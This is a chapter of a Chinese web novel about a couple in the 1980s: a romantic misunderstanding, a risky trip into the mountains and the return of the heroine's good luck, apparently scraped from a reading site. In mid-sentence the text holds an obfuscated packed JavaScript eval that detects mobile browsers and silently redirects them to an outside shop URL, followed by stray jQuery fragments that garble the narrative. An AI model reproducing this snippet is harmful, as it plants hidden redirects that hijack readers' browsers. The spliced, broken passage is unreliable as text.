文趣网 > 都市小说 > 八零年代之恶毒美人进城 > 25. 那你喜欢谁?
    沈峤猛地站起来。

    动作太急,炭炉上的铁架晃了一下。

    一串烤鸡从架子上滑下去,掉在炭灰里。

    他根本没看那串烤鸡。

    “她摔了。”

    “我扶了一把。”

    “她抱上来的。”

    “我推了。没推开。”

    四句话。

    一句赶一句。

    像是憋了一肚子的话全挤在嗓子眼里,争先恐后往外蹦。

    他的耳朵红得能滴血,喉结上下滚了好几次,两只手垂在身侧,指节攥得发白。

    好像是有些不之所错。

    杨小桃站在旁边,两只手绞着辫梢,脸红得能滴血。

    她嘴张了好几次,终于挤出一句,“我,我来买烤鸡,刚才滑了一下,不是故意的。同志你,你别生气,我们没有什么的。就是正常的相处。”

    本来是没有什么。

    可这人这话一说吧,好像这味道就不对了,好像没有什么都变得有什么了。

    并且这姑娘一边说话还一边扯了扯沈峤的衣角,一边扯沈峤的衣角,还一边偷偷的看林若溪。

    这倒像是林若溪怎么着她了似的。

    林若溪看的有些烦。

    “你前几天也来买烤鸡。”

    沈峤忽然开口。他转过头看着杨小桃,脸上没什么表情,但语气硬邦邦的,像他劈柴时斧头落下的节奏,“每天都来。每次都站很久。我都没跟你说话。”

    杨小桃的眼眶红了,整个人都有些不知所措。

    但凡要是个其他的男人,看见这姑娘这样估计早就哄她了吧。

    这可怜兮兮的,很是招人心疼啊。

    可沈峤却不是个正常男人。

    “今天是最后一次。”

    沈峤说,“以后你别来了。烤鸡不卖给你。”

    杨小桃的眼泪掉下来了。

    她咬着嘴唇,转身跑了。

    麻花辫甩在身后,红头绳在风里飘了一下。

    林若溪走过来。

    她弯腰,把掉在炭灰里的那串烤鸡捡起来,吹了吹上面的灰,咬了一口。

    鸡皮已经不脆了,沾了炭灰有点苦。

    她嚼了两下,抬眼看他。

    “为什么不卖给她?你开门做生意,哪有客人上门却把客人往外推的道理?难道你不想赚钱了?”

    林若溪笑着问,声音轻缓。

    沈峤有些别扭,声音也小很多。

    “……她抱我。”

    “人家喜欢你,抱你一下又没事。你未婚,她未嫁,你们若是有意,你如果也喜欢她的话,可以处对象的。现在组织上也是故意自由婚恋的。”

    沈峤猛然抬头看向林若溪,好像没有想到林若溪会忽然说这个。

    他有些着急,有些慌张,有些不知道该说什么。

    他……

    “我不喜欢她,我,我没有,没有喜欢她的。”

    “那你喜欢谁?”

    沈峤张了张嘴,喉结上下滚了又滚。

    他看着林若溪,她站在他面前,咬着一串掉在炭灰里的烤鸡,歪着头,嘴角沾了一点炭灰,表情像是在逗他。

    “……你知道是谁。”

    “我不知道。我怎么可能知道呢?”

    “……你知道。”

    他蹲下去,把炭炉的火拨旺,声音闷闷的。

    “刚才我以为你看见她抱着我,会转身就走。你走过来的时候,我心里在想,完了。以后不烤鸡了。烤鸡招麻烦。”

    林若溪差点被烤鸡噎到。

    这孩子,平常闷不吭声的,这怎么一说话还能……

    她咳了两声,看着蹲在炭炉后面缩成一团的沈峤。

    这人。

    一米九的大个子,能把瘦高个吓得腿软,被一个姑娘抱了一下,反应比被野猪撞了还大。

    “你不烤鸡了,以后怎么养我。”

    她把鸡骨头扔进炭炉里,拍了拍手上的灰。

    “行了。刚才你说了四句话,每一句都说得特别清楚。值得表扬。今天收摊吧,把这几串卖完就回家。明天的事明天再说。”

    小石头从沈峤腿后面探出头,朝巷口做了个鬼脸。

    “妈妈,坏人跑了?”

    “不是坏人。”林若溪揉了揉他的脑袋,“就是个喜欢沈峤哥哥的姑娘。”

    “不行!”小石头急得跺脚,树枝在地上敲得啪啪响,“沈峤哥哥是妈妈的!是石头的!不给别人!”

    沈峤蹲在炭炉后面,低头翻烤串,耳廓红了一个色号。

    林若溪瞥了他一眼,“石头,不能乱说话。”

    “……石头说得对。”

    沈峤忽然很认真的来了这么一句。

    林若溪差点被自己口水呛到。

    她把最后几串烤鸡打包递给客人,收了钱,开始收摊。

    晚上吃完饭,小石头在火塘边睡着了。

    沈峤把偏棚里最后两只活野鸡装进竹笼,又把剩下的腊肉用油纸包好。

    “明天我去山里。天不亮走,天黑前回来。”

    林若溪靠在门框上,看着他把柴刀别在腰间,“山里雪还没化。你一个人去,能行吗。”

    沈峤把竹笼拎起来试了试重量,“我十岁就在山里跑了。没事。”

    “那我在家等你。带什么回来都行。带不回来也没事。”

    沈峤没有接话。

    他把竹笼放回偏棚,走到她面前。

    他低头看着她,灶膛里的余烬在他眼睛里明明暗暗地跳着。

    “我说过要养你。不会让你和石头饿肚子。”

    林若溪没有回答。

    她伸手把他棉袄领口上沾的一点鸡毛摘掉,指尖碰到他下巴上的胡茬。

    他的胡茬很硬,扎得她指尖有点痒。

    “……知道了。早点睡。明天还要早起。”

    第二天天没亮,沈峤就起来了。

    他背上竹篓,腰间别了柴刀,怀里揣了两个红薯。林若溪站在院门口送他。

    “天黑前回来。”

    “嗯。”

    “带什么回来都行。”

    “嗯。”

    “带不回来也没事。”

    沈峤没有回头,大步往山的方向走去。

    林若溪在供销社柜台后面站了一整天,算盘拨错了好几次。

    张主任路过,看了她一眼,“你今天魂不守舍的。”

    “家里有点事。”

    “小沈呢。”

    “上山了。”

    张主任没有追问,只是把一包红糖放在柜台上,“这个拿回去给小石头冲水喝。供销社年底发的福利,我一个人喝不完。”

    林若溪非常感谢。

    这个年代的糖可是个稀罕物。

    别说是红糖了,红糖更是稀罕物。

    石头身子瘦弱,明明五岁了,但看着却像三四岁的孩子,是应该补补。

    可她的锦鲤好运好像瞬间就没了一样。

    野鸡没有再莫名其妙的撞过来了。

    其他的东西也没有莫名其妙的出现了。

    幸好之前那野猪换了个屋子住。

    不过这八十年代到处都是钱,就算是忽然没有了锦鲤好运,要赚钱应该也是可以的。

    发家致富!

    林若溪想着还是得再想想做点什么,来赚钱。

    *

    太阳偏西了。

    沈峤没有回来。

    太阳落了。

    沈峤还没有回来。

    林若溪站在院门口,手里攥着小石头那根数野鸡的树枝,指尖冻得发白。

    巷子里黑黢黢的,风从柿子树光秃秃的枝丫间穿过。

    她在心里算时间。

    从山脚到深山,来回至少三个时辰。

    如果套到兔子,还要花时间处理。

    天黑之前回不来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604431|204699||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,也是正常的。

    可是天已经黑了很久了。

    她把院门锁好,把小石头托给隔壁孙大婶,拿起油灯往山脚走。

    刚到山脚,林子边上传来脚步声。

    不是一个人。

    沈峤背着竹篓从树林里走出来,身上全是雪和泥。

    竹篓里鼓鼓囊囊的,用松针盖着。

    他旁边还跟着一个老头,背着一捆柴,手里拄着根歪歪扭扭的拐杖。

    沈峤看见她,脚步顿了一下。

    “……你怎么来了?”

    “你天黑没回来。我来看看。”

    她没说自己站在院门口等了一个多时辰。

    她看着沈峤,他脸上有一道血痕,从左眉角划到颧骨。

    棉袄袖子被撕了个口子,露出里面的棉花。

    “你的脸怎么回事。”

    “树枝划的。”

    沈峤说着,顿了顿,又接着说:“有些疼,流血了,回去了,你帮我处理可以吗?”

    沈峤说着好往前走了一步,靠近林若溪,还俯下身,把脸凑到林若溪跟前,像是想让林若溪看清楚。

    可林若溪却忽然被他身上那滚烫的荷尔蒙气息给烫到了一样,快速的往后退了几步,说话声音都有些结巴了,“好,回去,回去给你处理。”

    那老头在旁边咳嗽了一声,“这小伙子是个狠人。今天山里野猪发疯,追着人拱。要不是他拿柴刀劈了它一刀,我这把老骨头就交代在山上了。”

    林若溪看着沈峤。

    “你不是说树枝划的?”

    “……树枝。野猪追的时候撞到树枝上了。”

    他把竹篓放下来,揭开松针给她看。

    竹篓里有两只野兔、小半篓羊肚菌、一捆不知名的野菜。

    他顿了一下,从竹篓最底下掏出一个东西。

    两只鹌鹑。

    活的。

    灰褐色,圆滚滚的,在他掌心里缩成一团。

    “在回来的路上捡的。它自己撞树上了。你说好运没了,好像还没有。”

    他说这话的时候脸上还是一点表情都没有,但喉结上下滚了好几下。

    林若溪低头看着他掌心里那两只鹌鹑。

    她想起穿越第一天兔子撞在腿上,想起野猪撞在墙上,想起野鸡从天而降。

    这么多天过去了,好运没有走。

    它只是换了个方式来。

    不是不来了,是去给他引路了。

    引到他进山,引到他救人,引到他在回来的路上捡到两只撞树的鹌鹑。

    “你这脸回去得擦药。”她说。

    “……嗯。”

    “还有你那袖子,明天我给你补补。”

    “……好。”

    她转身往回走,走了两步又停下来,“对了。今天家里没酱油了,明天你去供销社买一瓶。”

    “……哦。”

    “还有,小石头说想吃糖葫芦。巷口老张卖的那个。明天买两串,你一串他一串。”

    “……哦。”

    “还有。你以后天黑之前必须回来。再让我等一个多时辰,药你自己擦,袖子自己补,糖葫芦也不给你买。”

    沈峤走在她旁边,听着她一句一句地说。她说酱油,说袖子,说糖葫芦。说她等了多久。他把竹篓往上颠了颠,嗯了声。

    “哦。”

    第二天一早,林若溪推开院门。

    门口躺着两只野鸡。

    不是死的,是晕的。

    翅膀还在微微抽搐,尾羽在晨光下闪着金红色的光。

    她靠在门框上,嘴角弯起来。

    小石头从屋里跑出来,手里攥着他那根数野鸡的树枝,蹲在门口,把两只野鸡数了三遍。

    “妈妈!野鸡又有了!两只!跟以前一样!”

    “嗯。跟以前一样。”一样又不一样了。

    林若曦抬头,看见了院子门口徘徊的人……